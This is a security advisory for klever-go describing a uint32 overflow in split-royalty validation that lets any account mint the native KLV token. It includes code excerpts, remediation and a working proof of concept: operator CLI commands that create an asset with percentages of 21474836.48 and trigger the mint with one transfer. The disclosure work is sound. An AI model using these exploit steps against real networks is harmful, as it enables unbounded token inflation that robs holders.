Skip to content

GHSA-cgc5-v3f2-8m2v CVE-2026-54755 GO-2026-6310

Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)

Critical Go
Severity
9.6 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.56%
Chance of exploitation in the next 30 days. Higher than 46.62% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-190 Integer Overflow or Wraparound
Fix
1.7.19
Upgrade github.com/klever-io/klever-go to this version or later

Description

Summary

The per-entry percentages of a KDA asset's split royalties are validated by summing them into a uint32 accumulator and checking the sum against HundredPercent (10000), with no upper bound on each individual entry. Two split entries whose percentages sum to just over 2^32 wrap around below 10000 and pass validation, while each stored value remains astronomically large (e.g. 0x80000000 = 2,147,483,648 ≈ 21,474,836%).

At royalty payout, each split recipient is credited pool × hugePct / 10000 — far more than the royalty pool — and the resulting negative remainder is silently discarded (if royaltiesToPay <= 0 { return Ok }). Because fixed royalties (and marketplace/ITO royalties) are denominated in KLV, an attacker mints KLV (the native token) out of thin air, on demand, by transferring or selling their own throwaway asset.

This is independent of, and not mitigated by, the existing FixMarketBuyOverflow guard.

Affected component

  • Repository: klever-io/klever-go (node).
  • Validation: core/process/kda/assetHelper.go, core/kapp/kda/create.go, core/kapp/kda/trigger.go, core/kapp/builtInFunctions/utils.go.
  • Payout (mint sites): core/kapp/accounts/accounts.go (transfer), core/kapp/market/market.go (marketplace buy), core/kapp/ito/ito.go (ITO buy).
  • Not gated by any fork flag — exploitable on current mainnet.

Root cause

1. Per-entry split percentages are decoded as raw uint32 with no bound

core/kapp/builtInFunctions/utils.go — decodeSplitInfo (≈L292):

func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {
	fields := []*uint32{
		&splitInfo.PercentTransferPercentage,
		&splitInfo.PercentTransferFixed,
		&splitInfo.PercentMarketPercentage,
		&splitInfo.PercentMarketFixed,
		&splitInfo.PercentITOPercentage,
		&splitInfo.PercentITOFixed,
	}
	for _, field := range fields {
		if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check
			return err
		}
	}
	return nil
}

2. Validation sums into a uint32 and only checks the sum

core/kapp/kda/create.go (fungible path, ≈L351-382; NFT path ≈L228-264):

sumSplitTransferPercentage := uint32(0)   // L351  <-- uint32 accumulator
sumSplitTransferFixed       := uint32(0)
// ...
for key, value := range tc.GetRoyalties().GetSplitRoyalties() {
	// ... no per-entry bound ...
	sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32
	sumSplitTransferFixed       += value.GetPercentTransferFixed()
	// ...
}
if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum
	return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue
}

core/process/kda/assetHelper.go (L101):

func CheckValid100Params(values ...uint32) bool {
	for _, value := range values {
		if value > core.HundredPercent { // HundredPercent = 10000
			return false
		}
	}
	return true
}

The per-entry > HundredPercent check that exists for TransferPercentage tiers (create.go:398, trigger.go:780) does not apply to these SplitRoyalties fields.

0x80000000 + 0x80000000 = 0x1_0000_0000 → wraps to 0 in uint32 → CheckValid100Params(0) is true.

3. Payout over-pays and silently drops the negative remainder (mint), in KLV

core/kapp/accounts/accounts.go — processFixedRoyaltiesTransfer (L316-382):

err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty
// ...
royaltiesFixedToPay := kda.Royalties.TransferFixed
for key, value := range kda.Royalties.SplitRoyalties {
	// L343: split paid in KLV using the overflowed PercentTransferFixed
	status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,
		acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)
	// ...
}
if royaltiesFixedToPay <= 0 {   // L349: negative remainder silently dropped (no error)
	return transaction.Transaction_Ok, nil
}

computeSplitRoyalties (L276-314):

splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287
*royaltiesToPay -= splitToPay                                                                              // L291
err = splitRoyalty.AddToBalance(splitToPay, assetID, ...)                                                  // L293: credit, no matching debit

tools/converters.go — ComputePercentageI64 (L102): for a small pool, pool * 0x80000000 / 10000 fits in int64, so no overflow error fires — it simply returns the inflated amount.

Net: sender debited TransferFixed KLV (e.g. 1 KLV); each split recipient credited TransferFixed × 0x80000000 / 10000 KLV. KLV minted = (sum of split credits) − TransferFixed.

The same pattern exists in core/kapp/market/market.go (computeRoyaltiesAmount L490+ in the sale currencyID; computeRoyaltiesFixedDeposit L443+ in KLV — silent skips at L456/L503) and core/kapp/ito/ito.go (L429/L499). The shipped FixMarketBuyOverflow guard only checks the top-level marketOwnerAmount < 0, not these intra-royalty split over-payments.


Proof of Concept (reproduce from scratch)

A single-node local network is sufficient. Full environment setup is in the companion runbook REPRODUCE-split-royalty-overflow.md; the exploit itself is two transactions.

Prereqs (build + run a single node)

export REPO=/path/to/klever-go && cd "$REPO"
go build -o /tmp/klnode ./cmd/node
go build -o /tmp/kloperator ./cmd/operator
go build -o /tmp/klkeygen ./cmd/keygenerator
# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a
# funded wallet (klvDenomination 6), then:
nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \
  --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \
  > /tmp/klnode.log 2>&1 < /dev/null & disown

Step 1 — create a malicious asset (your own throwaway token)

The operator stores percentages as uint32(input × 100), so 21474836.48 → 2147483648 = 0x80000000. Two entries make the uint32 sum wrap to 0.

R1=<any valid klv1 address>   # clean recipient, will receive minted KLV
R2=<any valid klv1 address>   # second recipient
/tmp/kloperator kda create 0 \
  --name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \
  --royaltiesAddress=<owner> \
  --royaltiesTransferFixed=1 \
  --splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
  --splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
  -s --await

Expected: resultCode: Ok. The node stores percentTransferFixed: 2147483648 for both recipients (a correct chain would reject this).

Step 2 — mint KLV with one ordinary transfer

/tmp/kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await

Expected: resultCode: Ok, with two KLV transfer receipts of 214748364800 (= 214,748.36 KLV) to R1 and R2 — for a TransferFixed royalty of 1000000 (1 KLV).

Verify the mint

# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:
curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \
 "import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')"

Evidence (live single-node run, chainID 420420)

Asset creation — overflowed split royalties accepted (resultCode: Ok)

tx 1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb, broadcast contract (operator output, abridged):

{
  "type": 0, "name": "KlvPrinter2", "ticker": "KPRT2",
  "ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
  "initialSupply": 1000000000000,
  "royalties": {
    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
    "transferFixed": 1000000,
    "splitRoyalties": {
      "klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap": { "percentTransferFixed": 2147483648 },
      "klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5": { "percentTransferFixed": 2147483648 }
    }
  }
}

Result: hash: 1e288135…, status: success, resultCode: Ok. (2147483648 = 0x80000000; the two values' uint32 sum is 0 → passed CheckValid100Params.)

Transfer — mints KLV (resultCode: Ok)

tx 4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6, block 375, status: success, resultCode: Ok. Receipts (operator output):

{"typeString": "SignedBy"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv1fpwjz…(R1)", "value": 214748364800, "assetId": "KLV",        "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 214748364800, "assetId": "KLV",        "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 1000000,       "assetId": "KPRT2-2712", "assetType": "Fungible"}

Outcome: the sender paid 1000000 (1 KLV) of fixed royalty; the two split recipients were each credited 214748364800 (214,748.36 KLV) — 429,496.73 KLV minted from a 1 KLV royalty, in a single transfer. R1 went from a non-existent/0-KLV account to 214,748.36 KLV while never being sent any KLV. The minted amount is pool(=1000000) × 0x80000000 / 10000 = 214748364800 per recipient.

A prior run reproduced the same on the transfer-percentage path, minting the asset itself (42,949,672.96 tokens from one transfer); note that the asset's booked CirculatingSupply / MintedValue do not change (the mint is via direct AddToBalance, not a tracked Mint), so the inflation is invisible to supply dashboards and only detectable by summing balances.


Impact

  • Unbounded inflation of KLV (the native token), repeatable per transaction for only tx fees.
  • Same root cause also mints KLV via marketplace buy (sale currency + KLV MarketFixed deposit) and ITO buy, and mints arbitrary assets via the transfer-percentage path.
  • The mint is off the books (booked supply unchanged), making detection hard.
  • Total loss of economic integrity for all token/KLV holders.

Who can exploit it / prerequisites

  • Any account that can pay the one-time asset-creation fee + tx fees. No roles, admin, or allowlist.
  • Any client. The operator CLI used above is unprivileged: it signs a standard transaction and POSTs to the public, unauthenticated /transaction/send endpoint (network/api/transaction/routes.go, SendTX/BroadcastTX — no auth). The official SDKs or a hand-signed curl produce identical results; nothing in the operator is required.
  • Deterministic, single-transaction trigger after a one-time asset setup.

Remediation

Two layers, both should ship. Because these change transaction-validity/consensus behavior, gate them behind a new activation-epoch fork flag (same mechanism as the existing FixMarketBuyOverflow), so historical blocks reprocess identically.

A. Reject over-100% split percentages at validation (root cause)

  1. Bound each individual split field, e.g. in decodeSplitInfo (core/kapp/builtInFunctions/utils.go):
    for _, field := range fields {
        if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err }
        if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW
    }
    
  2. Accumulate sums in uint64 (overflow-proof) in core/kapp/kda/create.go and core/kapp/kda/trigger.go, and reject if any per-category sum > core.HundredPercent. (With each entry ≤ 10000 and the existing MaxTransferRoyalties = 20 cap, the max sum is 200000 — but use uint64 regardless for defense in depth.)

B. Treat a negative royalty remainder as a hard error (defense in depth)

In every split-distribution site, replace the silent skip with a rejection:

// BEFORE
if royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil }
// AFTER
if royaltiesToPay < 0  { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue }
if royaltiesToPay == 0 { return transaction.Transaction_Ok, nil }

Sites: core/kapp/accounts/accounts.go (L349 fixed, L436 percentage), core/kapp/market/market.go (L456, L503), core/kapp/ito/ito.go (L429, L499).

C. (Optional) Assert conservation

After distributing a royalty pool, assert Σ splitToPay == pool (the owner gets the exact remainder), so any future regression aborts the tx instead of minting.

A regression test should: (1) confirm an asset whose split percentages sum-overflow uint32 is rejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in) cannot pay out more than the royalty pool.


Variants / notes

  • Transfer (percentage) → mints the transferred asset. Transfer (fixed), Market (fixed + percentage), ITO (fixed + percentage) → mint KLV / the sale currency.
  • Smart-contract senders skip royalties, but a contract can plant the malicious royalties via AssetTrigger/UpdateRoyalties and let a normal account trigger the mint — atomically within one tx.
  • The legacy ComputePercentageI64 float path (checkOverflow=false) makes the over-pay even easier (no int64 overflow guard at all), but the big.Int path mints too for small pools.

References

  • Vulnerable code: core/process/kda/assetHelper.go:101, core/kapp/builtInFunctions/utils.go:292, core/kapp/kda/create.go:228-264,351-382, core/kapp/kda/trigger.go, core/kapp/accounts/accounts.go:276-382, core/kapp/market/market.go:443-538, core/kapp/ito/ito.go:415-556, tools/converters.go:102.

Affected versions

Go

PackageVulnerableFixed in
github.com/klever-io/klever-go
< 1.7.19
1.7.19

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/klever-io/klever-go Go → 1.7.19

go
go get github.com/klever-io/klever-go@v1.7.19 && go mod tidy

Severity breakdown

CVSS 3.1 9.6

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
High

Weakness

CWE-190: Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

How to prevent it
  • Requirements: Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
  • Implementation: Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
  • Implementation: Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7c7c-373r-gfjj
Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery
High Also affects github.com/klever-io/klever-go
GHSA-9wh6-9hq7-9688
Klever-Go: Validator registration accepts an unvalidated BLS public key → consensus liveness DoS
High Also affects github.com/klever-io/klever-go
GHSA-26r5-4mm2-px5c
Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace
High Also affects github.com/klever-io/klever-go
GHSA-97cv-x867-6xhm
Klever-Go Account takeover: `kleverUpdateAccountPermission` authorizes on attacker-controlled `RecipientAddr` instead of the authenticated caller
High Also affects github.com/klever-io/klever-go
GHSA-4fwh-wrm6-97xm
Klever-Go: Unauthenticated WebSocket /subscribe: no read-size limit, no connection cap, permissive origin -> remote node memory/goroutine exhaustion (DoS)
High Also affects github.com/klever-io/klever-go
GHSA-9v8p-frvj-2pcm
Klever-Go: /log controls global node logging
High Also affects github.com/klever-io/klever-go
GHSA-mrpp-v6pg-p54x
klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply
High Also affects github.com/klever-io/klever-go
GHSA-v358-wf77-39xv
klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits
High Also affects github.com/klever-io/klever-go
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor